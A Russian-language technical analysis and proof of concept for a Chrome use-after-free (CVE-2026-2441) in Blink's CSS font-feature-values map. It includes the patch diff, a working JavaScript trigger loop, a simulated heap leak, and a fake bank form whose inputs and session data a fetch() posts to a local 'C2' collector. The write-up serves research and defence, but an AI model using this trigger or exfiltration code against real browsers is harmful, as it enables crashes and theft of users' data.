Детальное доказательство концепции и технический анализ уязвимости CVE-2026-2441, представляющей собой использование после освобождения (use-after-free) в CSS Chrome, позволяющей выполнить удалённый код (RCE) в изолированном рендерере с помощью специально созданных HTML-страниц.
CVSS 8.8 (Высокий) | Активно эксплуатируется в дикой природе | RCE в рендере (песочница)
Уязвимость use-after-free в движке Blink CSS браузера Google Chrome, позволяющая удалённому злоумышленнику выполнить произвольный код в песочнице браузера через специально созданную HTML-страницу.
| Поле | Значение |
|---|
| CVE | CVE-2026-2441 |
| CVSS | 8.8 (Высокий) |
| Тип | Use-After-Free (CWE-416) |
| Компонент | Blink CSS — CSSFontFeatureValuesMap |
| Исходный файл | third_party/blink/renderer/core/css/css_font_feature_values_map.cc |
| Фикс-коммит | 63f3cb4864c64c677cd60c76c8cb49d37d08319c |
| Автор отчёта | Shaheen Fazim (2026-02-11) |
| Дата патча | 2026-02-13 |
| В дикой природе | Да — Google подтвердил активную эксплуатацию |
| Платформа | Уязвимые | Исправлены |
|---|---|---|
| Windows / macOS (Стабильная) | < 145.0.7632.75 | >= 145.0.7632.75 |
| Linux (Стабильная) | < 144.0.7559.75 | >= 144.0.7559.75 |
| Windows / macOS (Расширенная стабильная) | < 144.0.7559.177 | >= 144.0.7559.177 |
| Браузеры на базе Chromium (Edge, Brave, Opera, Vivaldi) | Смотрите уведомление поставщика | Различается |
FontFeatureValuesMapIterationSource хранил сырой указатель (const FontFeatureAliases* aliases_) на внутренний HashMap FontFeatureAliases. Когда карта изменялась во время итерации через set() или delete(), HashMap перехешируется — выделяется новое хранилище, а старое освобождается. Сырой указатель становится висячим, и следующий вызов FetchNextItem() читает из освобождённой памяти.
CreateIterationSource()
→ FontFeatureValuesMapIterationSource(map, aliases_)
→ aliases_ = raw pointer to internal HashMap
→ iterator_ = aliases_->begin()
FetchNextItem()
→ reads iterator_->key (through aliases_)
If map.set() / map.delete() is called between iterations:
→ HashMap rehashes (new alloc, old freed)
→ aliases_ → dangling pointer
→ iterator_ → invalidated
→ Next FetchNextItem() → USE-AFTER-FREE
- const FontFeatureAliases* aliases_; // raw pointer → dangling after rehash
+ const FontFeatureAliases aliases_; // deep copy → immune to rehash
Исправление заменяет сырой указатель на глубокую копию HashMap. Даже если исходная карта перехешируется, итератор работает с собственной копией, предотвращая появление висячего указателя.
poc.html в уязвимой версии Chrome (< 145.0.7632.75)| Версия Chrome | Ожидаемое поведение |
|---|---|
| < 145.0.7632.75 (не исправлено) | Сбой рендерера — STATUS_ACCESS_VIOLATION (Windows) или SIGSEGV (Linux/macOS). Chrome показывает ошибку "Не удалось открыть эту страницу". |
| >= 145.0.7632.75 (исправлено) | Без сбоя — PoC выполняется до конца, все записи считываются нормально. |
PoC организован для демонстрации цепочки эксплуатации в чётком и воспроизводимом порядке. Первая часть создаёт уязвимый объект Blink/CSS, вторая часть запускает инвалидацию итератора, а финальная часть имитирует последствия эксплуатации в безопасной академической среде.
Важное примечание: триггер UAF реализован через реальные CSS/JavaScript API, доступные в браузере. Утечка кучи и панель эксфильтрации намеренно контролируются/симулируются, чтобы не выпускать готовый эксплойт для Chromium.
Полезная нагрузка сначала определяет CSS-правило @font-feature-values:
@font-feature-values VulnFont {
@styleset {
a0: 1; a1: 2; a2: 3; a3: 4;
a4: 5; a5: 6; a6: 7; a7: 8;
}
}
Это правило заставляет Blink создать внутренний CSSFontFeatureValuesMap. В уязвимой реализации итерация по этой карте небезопасна, потому что итератор хранит сырой указатель на внутреннее хранилище FontFeatureAliases.
Позже JavaScript-нагрузка получает карту из таблицы стилей:
const sheet = document.getElementById("uaf-style").sheet;
const rule = sheet.cssRules[0];
const map = rule && rule.styleset;
На этом этапе управляемая атакующим страница получает дескриптор JavaScript к объекту браузера, чья внутренняя C++-реализация уязвима к инвалидации итератора.
Триггер запускается не сразу. PoC ждёт 800 мс перед выполнением уязвимой последовательности:
setTimeout(triggerUAF, 800);
Эта задержка используется для стабильности демонстрации. Она позволяет отрисовать страницу и поддельную форму верификации банка до запуска триггера повреждения памяти. В реальном сценарии drive-by тот же триггер мог бы запускаться автоматически сразу при загрузке вредоносной страницы.
Ядро UAF-примитив — следующий цикл:
const it = map.entries();
let step = 0;
while (step < 4) {
const res = it.next();
if (res.done) break;
const [key] = res.value;
map.delete(key);
map.set("uaf_" + step, [step, step + 1]);
step++;
}
Уязвимость вызывается порядком операций:
1. map.entries() создаёт итератор по CSSFontFeatureValuesMap.
2. В уязвимой реализации Blink итератор ссылается на внутреннее хранилище карты.
3. it.next() читает следующую запись через этот итератор.
4. map.delete(key) изменяет ту же карту, пока итератор ещё жив.
5. map.set(...) вставляет новую запись и может заставить внутренний HashMap перехешироваться.
6. Перехеширование может освободить или переместить старое хранилище.
7. Итератор всё ещё может ссылаться на старое хранилище.
8. Следующий доступ к итератору может привести к Use-After-Free.
Исходная агрессивная стратегия использовала более крупный цикл, похожий на heap spray, например, вставляя сотни элементов, таких как 512 записей после каждого удаления. Это создаёт более сильное давление на кучу и увеличивает вероятность повторного выделения/использования.
Для живой демонстрации это было сокращено до всего 4 шагов мутации:
while (step < 4) {
// чтение итератора + удаление + установка
}
Причина практическая и педагогическая: spray из 512 элементов часто приводил к немедленному сбою рендерера. Сбой полезен для подтверждения воздействия на доступность, но он не позволяет оставшейся части демонстрации показать симулированную кражу данных и панель атакующего. Сокращённая версия по-прежнему демонстрирует уязвимую логику инвалидации итератора, сохраняя браузер достаточно стабильным для живой презентации.
В реальном эксплойте UAF обычно требуется примитив раскрытия памяти для утечки указателей кучи или V8 и обхода ASLR. Демонстрация не реализует реальное произвольное чтение памяти. Вместо этого она генерирует адрес, похожий на адрес кучи, из предопределённого статического диапазона:
const base = 0x55a000000000 + Math.floor(Math.random() * 0x200000);
heapLeak = {
raw: "0x" + base.toString(16).toUpperCase(),
base: "0x" + (base & ~0xfff).toString(16).toUpperCase()
};
Это значение — симулированная утечка кучи:
0x55a000000000 — фиксированный начальный диапазон, похожий на кучу, используемый демонстрацией.Math.random() * 0x200000 добавляет небольшое случайное смещение.base & ~0xfff выравнивает адрес до границы страницы.Цель — показать, как выглядела бы утечка для обхода ASLR на панели атакующего, без реализации реального эксплойта для раскрытия памяти.
После триггера UAF и симулированной утечки кучи PoC формирует нагрузку, содержащую собранные вводы формы, данные сессии браузера, фрагмент DOM, статус UAF и симулированную утечку кучи. Нагрузка отправляется на локальный бэкенд атакующего:
await fetch("http://127.0.0.1:7777/collect", {
method: "POST",
headers: {
"Content-Type": "application/json",
"X-C2-Origin": "evil-tracker-cdn.xyz"
},
body: JSON.stringify(payload)
});
Локальный бэкенд получает данные на POST /collect, сохраняет их в памяти и пересылает на панель атакующего через Server-Sent Events (GET /events). Это моделирует фазу управления/эксфильтрации реальной атаки, оставаясь локальным и контролируемым.
document.cookie, localStorage, sessionStorage, введённых значений формfetch() / WebSocket / sendBeacon()addEventListener('keydown')При комбинации с отдельной уязвимостью для побега из песочницы:
RCE в рендерере (CVE-2026-2441)
→ Эксплуатация Mojo IPC → RCE в браузерном процессе
→ Эксплуатация ядра → Полный компрометация системы
→ Установка вредоносного ПО/вымогателей/шпионского ПО
→ Доступ к файловой системе, боковое перемещение, закрепление
Реальные цепочки эксплойтов с использованием аналогичных UAF в браузерах:
Эта уязвимость эксплуатируется через drive-by загрузку — не требуется никакого взаимодействия с пользователем, кроме посещения вредоносной страницы:
chrome://flags/#site-isolation-trial-opt-out)| Дата | Событие |
|---|---|
| 2026-02-11 | Уязвимость сообщена Shaheen Fazim |
| 2026-02-13 | Google выпускает Chrome 145.0.7632.75/76 (Windows/macOS), 144.0.7559.75 (Linux) |
| 2026-02-13 | Google подтверждает эксплуатацию в дикой природе |
| 2026-02-16 | Vivaldi и Opera выпускают исправления |
Если вы нашли это исследование полезным, подумайте о том, чтобы угостить меня кофе:
Это доказательство концепции предоставлено только для образовательных и авторизованных целей безопасности. Использование этого PoC против систем без явного разрешения незаконно и неэтично. Автор не несёт ответственности за любое неправомерное использование.
MIT